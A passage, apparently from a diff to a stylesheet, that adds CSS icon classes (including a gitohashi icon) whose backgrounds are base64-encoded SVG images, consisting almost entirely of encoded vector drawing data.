0iI2ZjMCIgb2Zmc2V0PSIwIi8+CjxzdG9wIHN0b3AtY29sb3I9IiNhODAiIG9mZnNldD0iMSIvPgo8L2xpbmVhckdyYWRpZW50Pgo8ZmlsdGVyIGlkPSJmIiB4PSItLjAzMTg4MSIgeT0iLS4wNTY2NDciIHdpZHRoPSIxLjA2MzgiIGhlaWdodD0iMS4xMTMzIiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgo8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjEyOTkxNzMxIi8+CjwvZmlsdGVyPgo8L2RlZnM+CjxtZXRhZGF0YT4KPHJkZjpSREY+CjxjYzpXb3JrIHJkZjphYm91dD0iIj4KPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CjxkYzp0eXBlIHJkZjpyZXNvdXJjZT0iaHR0cDovL3B1cmwub3JnL2RjL2RjbWl0eXBlL1N0aWxsSW1hZ2UiLz4KPGRjOnRpdGxlLz4KPC9jYzpXb3JrPgo8L3JkZjpSREY+CjwvbWV0YWRhdGE+CjxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xMDEuOTQgLTExNS41MikiPgo8cGF0aCBkPSJtODQuMDA5IDYyLjg2LTMuMTQwNCAzLjkyNTUtMC4yNTA1OSAwLjQwMDg5IDAuMDUwMSAwLjY1MTQ5IDAuMjgzOTcgMC42MTgwNiAwLjQwMDkzIDAuMTUwMzQgMC4xODM3Mi0wLjEzMzY0IDAuMTgzNzYgMC4yMTcxNyA0LjY0MzggMS40NTMzIDMuMjc0MS01LjY3OTUtMC4yMDA0NS0wLjA4MzUgMC4wMzM0LTAuNDY3N3YtMC4yMzM4N2wwLjE2NzA2LTAuMDUwMS00Ljc0NC0wLjk2ODg1LTAuMzM0MSAwLjE4Mzc1LTAuMTY3MDUtMC4zMzQwNy0wLjE4MzczIDAuMDgzNXoiIGZpbHRlcj0idXJsKCNnKSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4xMTkiLz4KPHBhdGggZD0ibTgzLjkzOCA2Mi40NjQtMy4xNDA0IDMuOTI1NS0wLjI1MDU5IDAuNDAwODkgMC4wNTAxIDAuNjUxNDkgMC4yODM5NyAwLjYxODA2IDAuNDAwOTMgMC4xNTAzNCAwLjE4MzcyLTAuMTMzNjQgMC4xODM3NiAwLjIxNzE3IDQuNjQzOCAxLjQ1MzMgMy4yNzQxLTUuNjc5NS0wLjIwMDQ1LTAuMDgzNSAwLjAzMzQtMC40Njc3di0wLjIzMzg3bDAuMTY3MDYtMC4wNTAxLTQuNzQ0LTAuOTY4ODUtMC4zMzQxIDAuMTgzNzUtMC4xNjcwNS0wLjMzNDA3LTAuMTgzNzMgMC4wODM1eiIgZmlsbD0iIzgwODA4MCIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4xMTkiLz4KPHBhdGggZD0ibTg5LjQzNiA2My4yMDktMy4yODMgNS4zNzEtNC4zODYzLTEuMzIxNy0wLjEzMzY0IDAuMDgzNS0wLjExNjk0LTAuMzAwNjctMC40MjU5NC0wLjIwODgtMC4zMjU3Ni0wLjA0MTgtMC4xNjcwNCAwLjIwMDQ1IDAuMDUwMS0wLjM1MDgxIDMuNTkxNC00LjQ5MzUgMC4xMzU2MS0wLjA3NDQgMC4yNDg1OSAwLjAyNDMgMC4xOTA2OCAwLjA0NTEgMC4yMzc5IDAuMjA2MjggMC4zMjMxMi0wLjA4NDN6IiBmaWxsPSJ1cmwoI2UpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjExOSIvPgo8cGF0aCBkPSJtODkuNCA2NC4wMTgtMy4xNTcxIDUuNDI4OS01LjE2MTYtMS42MDM2LTAuMjYxODgtMC4xNzMyNi0wLjE1NTczLTAuMjc3NzUgMC4wMTY3LTAuMzE3MzkgMC4xNjcwNi0wLjE4MzczIDAuNTUxMjMgMC4xMDAyMyAwLjE4Mzc1IDAuMzM0MDkgNC42MTA0IDEuMzUzIDMuMTkwNS01LjI5NTN6IiBmaWxsPSIjYjNiM2IzIi8+CjxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KDEuMjEwNiAwIDAgMS4yMzE0IC0yNDUuNiAtMzMxLjcxKSIgZD0ibTI3NC41NCAzMjMuNTMtMC40MzY5Ni0wLjc1NDg4LTAuMDgzNyAwLjg2ODItMC4xODIzLTAuODUyOTYtMC4zNDc4NyAwLjc5OTg1IDAuMDkwMi0wLjg2NzU1LTAuNTc4MDIgMC42NTMyMSAwLjM1Mzg4LTAuNzk3MjItMC43NTE1OCAwLjQ0MjYzIDAuNTgyOTEtMC42NDg4NS0wLjg1MTU3IDAuMTg4NzIgMC43NTQ4OS0wLjQzNjk2LTAuODY4MjEtMC4wODM3IDAuODUyOTctMC4xODIzLTAuNzk5ODYtMC4zNDc4NyAwLjg2NzU1IDAuMDkwMi0wLjY1MzIxLTAuNTc4MDEgMC43OTcyMiAwLjM1Mzg4LTAuNDQyNjMtMC43NTE1OCAwLjY0ODg1IDAuNTgyOTEtMC4xODg3MS0wLjg1MTU3IDAuNDM2OTUgMC43NTQ4OCAwLjA4MzctMC44NjgyIDAuMTgyMyAwLjg1Mjk2IDAuMzQ3ODctMC43OTk4NS0wLjA5MDIgMC44Njc1NSAwLjU3ODAxLTAuNjUzMjEtMC4zNTM4OCAwLjc5NzIyIDAuNzUxNTgtMC40NDI2My0wLjU4MjkxIDAuNjQ4ODUgMC44NTE1Ny0wLjE4ODcyLTAuNzU0ODggMC40MzY5NiAwLjg2ODIgMC4wODM3LTAuODUyOTYgMC4xODIzIDAuNzk5ODUgMC4zNDc4Ny0wLjg2NzU1LTAuMDkwMiAwLjY1MzIxIDAuNTc4MDEtMC43OTcyMS0wLjM1Mzg4IDAuNDQyNjIgMC43NTE1OC0wLjY0ODg0LTAuNTgyOTF6IiBmaWxsPSJ1cmwoI2EpIi8+CjxwYXRoIGQ9Im04NC43ODMgNjIuMTk0LTMuNjUxMyA0LjYxMzMgMC4yNDg0MiAwLjA4MjIgMC4yMDI1OSAwLjE2ODMzIDMuNTQxMy00LjY5MzktMC4yMDQ0NS0wLjA0OTR6IiBmaWxsPSJ1cmwoI2QpIi8+CjxwYXRoIGQ9Im04NC40MjQgNjYuOTYyLTNlLTMgMC4xMTgxMSAwLjEwOTI1IDAuMDkxNSAwLjE2ODMzIDAuMDYyIDAuMTE4MTEtMC4wNzk3eiIgZmlsbD0iIzRkNGQ0ZCIvPgo8cGF0aCBkPSJtODQuNzMzIDY1LjgyOS0wLjIxMTc2IDAuNDc4MjggMC4wMzc4IDAuMDk1NS0wLjExMzgxIDAuMDI0NyAwLjAzNzIgMC4xMTI3My0wLjEwNjY1IDAuMDQyNSAwLjA0OTYgMC4xMTYyNC0wLjExOTYxIDAuMDQ4OCAwLjA5OTEgMC4xODUwOHMwLjAxODggMC4wNjc4IDAuMTk0MDEgMC4xNjIxNGMwLjE3NTI1IDAuMDk0MyAwLjI1MTQ5IDAuMDYzOSAwLjI1MTQ5IDAuMDYzOWwwLjIxNjA3LTAuMDgxNy0xZS0zIC0wLjEzMzA1IDAuMTEzMjctMC4wMTc3LTAuMDM2LTAuMTI5MDMgMC4xMDY3NC0wLjAzMjQtMC4wMzMyLTAuMDkzMyAwLjI5NTM4LTAuNDk4NDJ6IiBmaWxsPSIjY2NjIi8+CjxlbGxpcHNlIHRyYW5zZm9ybT0icm90YXRlKDM3Ljc1OSkiIGN4PSIxMDcuNiIgY3k9Ii0uNjA2NTEiIHJ4PSIuODAxMTMiIHJ5PSIuODczMDciIGZpbGw9IiNlY2VjZWMiLz4KPHBhdGggZD0ibTg0LjUyMiA2Ni4zMDggMC4yNDIyIDAuMjA4NzggMC4yMTI5OSAwLjEzNzgzIDAuMjYzMSAwLjEwNDQtMC4xMDAyMiAwLjA0MTgtMC4yMjEzNS0wLjA3NTItMC4yMDA0NS0wLjEzNzc5LTAuMTQ2MTYtMC4xNDYxOC0wLjAxNjctMC4wNDE3eiIgZmlsbD0iI2IzYjNiMyIvPgo8cGF0aCBkPSJtODQuNDQzIDY2LjQ4OCAwLjI0MjIgMC4yMDg3OCAwLjIxMjk5IDAuMTM3ODMgMC4yNjMxIDAuMTA0NC0wLjEwMDIyIDAuMDQxOC0wLjIyMTM1LTAuMDc1Mi0wLjIwMDQ1LTAuMTM3NzktMC4xNDYxNi0wLjE0NjE4LTAuMDE2Ny0wLjA0MTd6IiBmaWxsPSIjYjNiM2IzIi8+CjxwYXRoIGQ9Im04NC4zNjMgNjYuNjMgMC4yMzc5NyAwLjIwNTEzIDAuMjA5MjggMC4xMzU0MyAwLjI1ODUxIDAuMTAyNTgtMC4wOTg1IDAuMDQxMS0wLjIxNzQ5LTAuMDczOS0wLjE5Njk2LTAuMTM1MzktMC4xNDM2MS0wLjE0MzYzLTAuMDE2NC0wLjA0MXoiIGZpbGw9IiNiM2IzYjMiLz4KPHBhdGggZD0ibTg1LjM4NiA2Ni4wODcgMC4xOTIxLTAuNzIyNDUiIGZpbGw9IiNlNmU2ZTYiIHN0cm9rZT0iI2U2ZTZlNiIgc3Ryb2tlLXdpZHRoPSIuMDgiLz4KPHBhdGggZD0ibTg0LjkwMiA2NS4xNjhjMC4wNDc3LTAuMDEwOCAwLjA5MDItMC4wMzU5IDAuMTM2MTktMC4wNTEyIDAuMDQ5LTllLTMgMC4wOTkzLTAuMDM4MyAwLjE0OTI3LTAuMDE3MiAwLjA0MTEgMC4wMTA2IDAuMDMyMyAwLjA5MDMtN2UtMyAwLjEwNjYzLTAuMDIyNSAwLjAyMDktMC4wNzYxIDAuMDQxLTAuMDkzOCA5ZS0zIC0yZS0zIC0wLjA0ODMgMC4wNi0wLjA0MzcgMC4wODk3LTAuMDYzNCAwLjAzNjQtNGUtMyAwLjA3MTgtMC4wMTQzIDAuMTA4MjMtMC4wMTQ5IDAuMDMzNiA3LjFlLTQgMC4wNjczLTFlLTMgMC4xMDA3IDFlLTMgMC4wMzU1IDAuMDIxOS01ZS0zIDAuMDc3NC0wLjAyMzUgMC4xMDA5Ni0wLjA0MDcgMC4wMjE2LTAuMDY0MyAwLjA5MjMtMC4xMjAzMSAwLjA2ODQtMC4wMzMzLTAuMDM4My04LjhlLTQgLTAuMDkwMiAwLjA0MDctMC4xMDY5NiAwLjAyNjItMC4wMTI1IDAuMDU2MS01ZS0zIDAuMDg0Mi03ZS0zIDAuMDI3NCAwLjAyODkgMC4wNjcgMC4wNDczIDAuMDczNCAwLjA5MTUgMC4wMjA5IDAuMDI0OSAwLjAzNTIgMC4wOTM4LTAuMDEzNiAwLjA5MS0wLjAxMTctMC4wMzYxIDAuMDM1MS0wLjA2MDUgMC4wNDc3LTAuMDkyOCAwLjAyMDYtMC4wMjM2IDAuMDcwNC0wLjA2OTcgMC4wODM4LTAuMDE1NyAwLjAxMTUgMC4wMzkxIDAuMDE1NSAwLjA5MDgtMC4wMTEzIDAuMTI0ODctOWUtMyAwLjAyNTQtMC4wNTk2IDAuMDQzNS0wLjA1MDMgNS45ZS00IDAuMDI1NS0wLjAyMzggMC4wNDkyLTAuMDU4OSAwLjA4MjEtMC4wNzYzIDAuMDM2NiAwLjAyMzkgMC4wMjIzIDAuMDcxNyAwLjA0MDggMC4xMDYxOSAwLjAxMTIgMC4wMjc4IDAuMDI5MSAwLjA5ODItMC4wMjA2IDAuMDg4My04ZS0zIC0wLjA0MDkgMC4wMTY2LTAuMDg0NSAwLjA1MzYtMC4xMDIwMyAwLjAzMzQtMC4wMTc0IDAuMDM2NiAwLjAyMSAwLjA2MTUgMC4wMzIgMC4wMTU4IDAuMDI4OSA0ZS0zIDAuMDY0NiA4ZS0zIDAuMDk2N3YwLjAzODdjLTllLTMgLTAuMDUyNCAwLjAyMzctMC4xMDExNyAwLjA2ODUtMC4xMjU1OCA2ZS0zIC0yZS0zIDAuMDEzOC00ZS0zIDAuMDE3NyAyZS0zIiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmYiIHN0cm9rZS13aWR0aD0iLjAyIi8+CjxwYXRoIGQ9Im04NC44MSA2NS43NjYgMC41MDk0OC0wLjU3NjI5IiBmaWxsPSJub25lIiBzdHJva2U9IiNmMmYyZjIiIHN0cm9rZS13aWR0aD0iLjA4Ii8+CjxlbGxpcHNlIGN4PSI4NS4yNzYiIGN5PSI2NS4wNDMiIHJ4PSIuNTU1MTUiIHJ5PSIuNTY2OTYiIGZpbGw9InVybCgjYikiLz4KPHBhdGggZD0ibTEwMi4zNyAxMTUuODN2NS41MDQzaDkuNjYydi01LjQ4MDZoLTkuNzgwMSIgZmlsdGVyPSJ1cmwoI2YpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTEwMi4yNiAxMTUuNjh2NS41MDQzaDkuNjYydi01LjQ4MDZoLTkuNzgwMSIgZmlsbD0idXJsKCNjKSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im0xMDguNjYgMTE4LjAyIDMuMjEyOCAyLjQ1NjgiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzRkNGQ0ZCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtMTAyLjI2IDEyMC41IDMuMzk2My0yLjQ5ODYiIGZpbGw9IiMzMzMiIHN0cm9rZT0iIzRkNGQ0ZCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtMTAyLjIxIDExNS45NGMwLjQwNDg3IDAuMzE4MjMgMC43NjY0OCAwLjcwNjUyIDEuMjU0MyAwLjg5ODgzIDAuOTIwMTggMC40NTMzMSAxLjgzNDYgMC45MzA4NyAyLjc1ODQgMS4zNjlsMS45ODc3LTEuMmUtNGMxLjAzOTQtMC41MzU0NiAyLjA3ODktMS4wNzA5IDMuMTE4My0xLjYwNjQgMC4xODExMi0wLjE4ODk4IDAuMzYyMjMtMC4zNzc5NyAwLjU0MzM1LTAuNTY2OTUiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtMTA2LjY1IDExNy42MWMtMC4zNjEzOSAwLjQwODMzIDAuMzIwNTIgMS4yMjI1IDAuNjAyMzIgMS41MTI0IDAuMzAzMjYtMC4zODg1OSAwLjc3NzUxLTEuMDI4NiAwLjU4MjA2LTEuNDA0Mi0wLjE1MDQ5LTAuMjk5MTMtMC42Mzc1OS0wLjIwMzcyLTAuNjE1NjEgMC4zMzQ0OCA4ZS0zIC0wLjM0MDA0LTAuMzAxNTItMC42Nzk1My0wLjU2ODc3LTAuNDQyNnoiIGZpbGw9IiNmMDAiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIuMTA4MjYiLz4KPC9nPgo8L3N2Zz4K\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.6em 0.9em 0.6em 0.9em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.gitohashi-icon {\n+ display: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA5LjcxMzMzNzkgMi41MTE4MjgyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KCTxkZWZzPgoJCTxyYWRpYWxHcmFkaWVudCBpZD0iYSIgY3g9IjI4OS43MiIgY3k9IjQxMi44MyIgcj0iLjA1Mzc0MyIgZ3JhZGllbnRUcmFuc2Zvcm09Im1hdHJpeCgxLjE3MzUgMCAwIDEuMTA1OCAtNTAuMjc2IC00My42NjIpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeGxpbms6aHJlZj0iI2QiLz4KCQk8bGluZWFyR3JhZGllbnQgaWQ9ImQiPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjYzJjOWNhIiBzdG9wLW9wYWNpdHk9Ii4zNzYwMyIgb2Zmc2V0PSIwIi8+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIHN0b3Atb3BhY2l0eT0iMCIgb2Zmc2V0PSIxIi8+CgkJPC9saW5lYXJHcmFkaWVudD4KCQk8bGluZWFyR3JhZGllbnQgaWQ9ImIiIHgxPSI4LjQ3MTYiIHgyPSIxNy4zNjQiIHkxPSIxMjQuODgiIHkyPSIxMjMuNzkiIGdyYWRpZW50VW5pdHM9InVzZXJTcGFjZU9uVXNlIiB4bGluazpocmVmPSIjYyIvPgoJCTxsaW5lYXJHcmFkaWVudCBpZD0iYyI+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNjOGM2Y2EiIHN0b3Atb3BhY2l0eT0iMCIgb2Zmc2V0PSIwIi8+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNjOGM2Y2EiIHN0b3Atb3BhY2l0eT0iLjcyMTU3IiBvZmZzZXQ9Ii4zOTU5MiIvPgoJCQk8c3RvcCBzdG9wLWNvbG9yPSIjYzhjNmNhIiBzdG9wLW9wYWNpdHk9Ii40MTk2MSIgb2Zmc2V0PSIuNDgxNTUiLz4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iI2M4YzZjYSIgc3RvcC1vcGFjaXR5PSIwIiBvZmZzZXQ9IjEiLz4KCQk8L2xpbmVhckdyYWRpZW50PgoJCTxmaWx0ZXIgaWQ9ImUiIHg9Ii0uMDE1Mzg4IiB5PSItLjA1NDUwOSIgd2lkdGg9IjEuMDMwOCIgaGVpZ2h0PSIxLjEwOSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4wMjQwOTk0MDEiLz4KCQk8L2ZpbHRlcj4KCTwvZGVmcz4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02Ny43MTUgLTE4MS42KSI+CgkJPGcgdHJhbnNmb3JtPSJyb3RhdGUoLS4wODA1MDcgNDM2MzcgLTQyMTkwKSIgZmlsbD0iI2ZmZiIgZmlsdGVyPSJ1cmwoI2UpIiBzdHJva2U9IiNmZmYiIHN0cm9rZS13aWR0aD0iLjA3NSIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbCIgYXJpYS1sYWJlbD0iZ2l0b2hhc2hpIj4KCQkJPHBhdGggZD0ibTE0LjMwOSAxMjEuOHYwLjA4MDVsLTAuMDY4NjMgMC4wMTU1cTAuMDIwMTIgMC4wMzYxIDAuMDIwMTIgMC4wOTA4IDAgMC4wOTEzLTAuMDQ5NTMgMC4xNDI5My0wLjA0OTUzIDAuMDUxNi0wLjEzODI4IDAuMDUxNi0wLjAyNTggMC0wLjAzODE4LTRlLTMgLTAuMDA5OCA5ZS0zIC0wLjAxODU4IDAuMDE5Ni0wLjAwODggMC4wMTA4LTAuMDA4OCAwLjAyNjggMCAwLjAzNjEgMC4wNjI0MyAwLjAzNjFoMC4wODMwN3EwLjA3MzI3IDAgMC4xMTI0OCAwLjAzOTcgMC4wMzk3MyAwLjAzOTIgMC4wMzk3MyAwLjExODY4IDAgMC4xMDAxLTAuMDY3MDggMC4xNTQ3OS0wLjA2NzA4IDAuMDU0Ny0wLjE5Mjk3IDAuMDU0Ny0wLjA5NTQ1IDAtMC4xNDcwNS0wLjA0MTgtMC4wNTE2LTAuMDQxMy0wLjA1MTYtMC4xMTgxNiAwLTAuMDQ4IDAuMDI5NDEtMC4wODQ2IDAuMDI5NDEtMC4wMzYxIDAuMDgxNTItMC4wNTI2LTAuMDI2MzEtMC4wMTAzLTAuMDQzMzQtMC4wMzItMC4wMTY1MS0wLjAyMTctMC4wMTY1MS0wLjA1MDYgMC0wLjAxNzUgMC4wMDUyLTAuMDMxNSAwLjAwNTItMC4wMTQ0IDAuMDE0NDUtMC4wMjY4IDAuMDA5OC0wLjAxMjkgMC4wMzkyMS0wLjAzNzctMC4wMzU2LTAuMDIxNy0wLjA1NjI0LTAuMDY2NnQtMC4wMjA2NC0wLjA5OTZxMC0wLjA5NDQgMC4wNDk1My0wLjE0NjAyIDAuMDQ5NTMtMC4wNTE2IDAuMTQxODktMC4wNTE2IDAuMDE3NTQgMCAwLjA0MDI1IDRlLTMgMC4wMjI3IDRlLTMgMC4wMzQ1NyA4ZS0zem0tMC4zMzc5NiAwLjY1NzM1cTAgMC4wMzQxIDAuMDIxMTYgMC4wNTIxIDAuMDIxNjcgMC4wMTg2IDAuMDYxNCAwLjAxODYgMC4wNjI0MyAwIDAuMDkzMzktMC4wMjM3IDAuMDMxNDctMC4wMjM3IDAuMDMxNDctMC4wNjUgMC0wLjAzMjUtMC4wMTcwMy0wLjA0NTktMC4wMTY1MS0wLjAxMzQtMC4wNjI0My0wLjAxMzRoLTAuMDY2NTZxLTAuMDI3ODYgMC0wLjA0NDg5IDAuMDIwNi0wLjAxNjUxIDAuMDIxMi0wLjAxNjUxIDAuMDU2OHptMC4wNDIzMS0wLjQ3MDU3cTAgMC4xMDE2NSAwLjA1NzI3IDAuMTAxNjUgMC4wNTU3MyAwIDAuMDU1NzMtMC4xMDI2OCAwLTAuMTA1MjYtMC4wNTU3My0wLjEwNTI2LTAuMDU3MjcgMC0wLjA1NzI3IDAuMTA2Mjl6Ii8+CgkJCTxwYXRoIGQ9Im0xNC41MTcgMTIyLjM3aC0wLjEzNzI1di0wLjU3NDc5aDAuMTM3MjV6bS0wLjE0MjkyLTAuNzI0OTRxMC0wLjAzNDEgMC4wMTk2MS0wLjA1MzcgMC4wMjAxMi0wLjAyMDEgMC4wNTU3Mi0wLjAyMDEgMC4wMzM1NCAwIDAuMDUzNjYgMC4wMjAxIDAuMDIwMTIgMC4wMTk2IDAuMDIwMTIgMC4wNTM3IDAgMC4wMzUxLTAuMDIwNjQgMC4wNTQ3LTAuMDIwNjQgMC4wMTkxLTAuMDUzMTUgMC4wMTkxLTAuMDM0MDUgMC0wLjA1NDY5LTAuMDE5MS0wLjAyMDY0LTAuMDE5Ni0wLjAyMDY0LTAuMDU0N3oiLz4KCQkJPHBhdGggZD0ibTE0LjgzNCAxMjIuMjZxMC4wMjg4OSAwIDAuMDYyNDMtMC4wMTQ1djAuMTA3MzJxLTAuMDMzNTQgMC4wMjMyLTAuMTAwNjIgMC4wMjMyLTAuMDc0ODIgMC0wLjExMDk0LTAuMDQ0NC0wLjAzNjEyLTAuMDQ0OS0wLjAzNjEyLTAuMTM0MTV2LTAuMjk3NzJoLTAuMDU1NzN2LTAuMDYxNGwwLjA3MTcyLTAuMDQ5NSAwLjAzNTA5LTAuMTIxNzdoMC4wODc3MnYwLjEyMzg0aDAuMTA0MjN2MC4xMDg4N2gtMC4xMDQyM3YwLjMwMjM2cTAgMC4wNTc4IDAuMDQ2NDQgMC4wNTc4eiIvPgoJCQk8cGF0aCBkPSJtMTUuNDAzIDEyMi4wOHEwIDAuMTQxMzgtMC4wNTk4NSAwLjIyMDMyLTAuMDU5ODUgMC4wNzg0LTAuMTY0MDggMC4wNzg0LTAuMDY2MDQgMC0wLjExNjYxLTAuMDM2MS0wLjA1MDU3LTAuMDM2MS0wLjA3NzkxLTAuMTAzNzEtMC4wMjczNS0wLjA2ODEtMC4wMjczNS0wLjE1ODkyIDAtMC4xMzk4MyAwLjA1OTM0LTAuMjE4MjUgMC4wNTkzNC0wLjA3ODkgMC4xNjQ2LTAuMDc4OSAwLjEwMTY1IDAgMC4xNjE1IDAuMDgwNSAwLjA2MDM3IDAuMDggMC4wNjAzNyAwLjIxNjcxem0tMC4zMDU0NiAwcTAgMC4wODk4IDAuMDE5NjEgMC4xMzU3dDAuMDYyOTUgMC4wNDU5cTAuMDgyNTYgMCAwLjA4MjU2LTAuMTgxNjMgMC0wLjA5MDMtMC4wMjAxMi0wLjEzNDY3LTAuMDE5NjEtMC4wNDQ5LTAuMDYyNDMtMC4wNDQ5LTAuMDQzMzQgMC0wLjA2Mjk1IDAuMDQ0OS0wLjAxOTYxIDAuMDQ0NC0wLjAxOTYxIDAuMTM0Njd6Ii8+CgkJCTxwYXRoIGQ9Im0xNS43ODYgMTIyLjM3di0wLjM0MjZxMC0wLjEyNjQyLTAuMDYzNDYtMC4xMjY0Mi0wLjA0NzQ3IDAtMC4wNjY1NiAwLjA1LTAuMDE5MDkgMC4wNDk1LTAuMDE5MDkgMC4xNDI5M3YwLjI3NjA0aC0wLjEzNzI1di0wLjgwMjg1aDAuMTM3MjV2MC4xNzg1MnEwIDAuMDM0Ni0wLjAwNjIgMC4xMjMzMmgwLjAwNzJxMC4wNDEyOC0wLjA4NDYgMC4xMjY5My0wLjA4NDYgMC4wNzg5NSAwIDAuMTE5MTkgMC4wNTM3IDAuMDQwMjUgMC4wNTMyIDAuMDQwMjUgMC4xNTY4NnYwLjM3NTExeiIvPgoJCQk8cGF0aCBkPSJtMTYuMzE4IDEyMi4zNy0wLjAyNzM1LTAuMDc4NGgtMC4wMDMxcS0wLjAzMDQ0IDAuMDUwNi0wLjA2Mjk1IDAuMDY5N3QtMC4wODIwNCAwLjAxOTFxLTAuMDYzNDcgMC0wLjEwMDEtMC4wNDc1LTAuMDM2MTItMC4wNDc1LTAuMDM2MTItMC4xMzIwOSAwLTAuMDkwOCAwLjA0OTUzLTAuMTM0NjcgMC4wNTAwNS0wLjA0NDQgMC4xNDkxMi0wLjA0OWwwLjA3NjM2LTNlLTN2LTAuMDQxM3EwLTAuMDgwNS0wLjA2OTY2LTAuMDgwNS0wLjA1MTYgMC0wLjExODY3IDAuMDQwM2wtMC4wNDc0Ny0wLjA5NDlxMC4wODU2NS0wLjA1NDIgMC4xODYyNy0wLjA1NDIgMC4wOTEzMyAwIDAuMTM4OCAwLjA1MjYgMC4wNDc5OSAwLjA1MjEgMC4wNDc5OSAwLjE0ODA4djAuMzg1OTV6bS0wLjExOTE5LTAuMDk3cTAuMDM3NjcgMCAwLjA1OTg1LTAuMDMzNSAwLjAyMjctMC4wMzQxIDAuMDIyNy0wLjA5MDN2LTAuMDQ4NWwtMC4wNDIzMSAyZS0zcS0wLjA0Njk1IDNlLTMgLTAuMDY5MTQgMC4wMjY4LTAuMDIxNjcgMC4wMjQyLTAuMDIxNjcgMC4wNzIyIDAgMC4wNzEyIDAuMDUwNTcgMC4wNzEyeiIvPgoJCQk8cGF0aCBkPSJtMTYuODM4IDEyMi4ycTAgMC4wODQxLTAuMDQ5NTMgMC4xMzE1Ny0wLjA0OTAyIDAuMDQ3LTAuMTQ0OTkgMC4wNDctMC4wODUxNCAwLTAuMTQwODYtMC4wMzM1di0wLjExOTE5cTAuMDI4MzggMC4wMTk2IDAuMDY2MDQgMC4wMzI1IDAuMDM4MTggMC4wMTI5IDAuMDY3MDggMC4wMTI5IDAuMDMxOTkgMCAwLjA0ODUtMC4wMTU1IDAuMDE3MDMtMC4wMTYgMC4wMTcwMy0wLjA0MTggMC0wLjAyNjMtMC4wMTc1NC0wLjA0NTl0LTAuMDY0NS0wLjA0OHEtMC4wNjI0My0wLjAzNzEtMC4wODk3OC0wLjA3ODktMC4wMjY4My0wLjA0MjMtMC4wMjY4My0wLjA5OTYgMC0wLjA3MzMgMC4wNTAwNS0wLjExNjA5IDAuMDUwNTctMC4wNDI4IDAuMTM4MjgtMC4wNDI4IDAuMDc2MzYgMCAwLjE0Mzk2IDAuMDQwM2wtMC4wNDQ4OSAwLjA5ODZxLTAuMDU1MjEtMC4wMjk5LTAuMDk3LTAuMDI5OS0wLjAyNjMxIDAtMC4wMzk3MyAwLjAxMzktMC4wMTI5IDAuMDEzOS0wLjAxMjkgMC4wMzQxIDAgMC4wMjMyIDAuMDE2IDAuMDQxMyAwLjAxNjUxIDAuMDE4MSAwLjA2MDg5IDAuMDQ0OSAwLjA1MzY2IDAuMDMyNSAwLjA3NTMzIDAuMDU1MnQwLjAzMzU0IDAuMDUxNiAwLjAxMTg3IDAuMDY3NnoiLz4KCQkJPHBhdGggZD0ibTE3LjIxMiAxMjIuMzd2LTAuMzQyNnEwLTAuMTI2NDItMC4wNjM0Ny0wLjEyNjQyLTAuMDQ3NDcgMC0wLjA2NjU2IDAuMDUtMC4wMTkwOSAwLjA0OTUtMC4wMTkwOSAwLjE0MjkzdjAuMjc2MDRoLTAuMTM3MjV2LTAuODAyODVoMC4xMzcyNXYwLjE3ODUycTAgMC4wMzQ2LTAuMDA2MiAwLjEyMzMyaDAuMDA3MnEwLjA0MTI4LTAuMDg0NiAwLjEyNjkzLTAuMDg0NiAwLjA3ODk0IDAgMC4xMTkxOSAwLjA1MzcgMC4wNDAyNSAwLjA1MzIgMC4wNDAyNSAwLjE1Njg2djAuMzc1MTF6Ii8+CgkJCTxwYXRoIGQ9Im0xNy42IDEyMi4zN2gtMC4xMzcyNXYtMC41NzQ3OWgwLjEzNzI1em0tMC4xNDI5Mi0wLjcyNDk0cTAtMC4wMzQxIDAuMDE5NjEtMC4wNTM3IDAuMDIwMTItMC4wMjAxIDA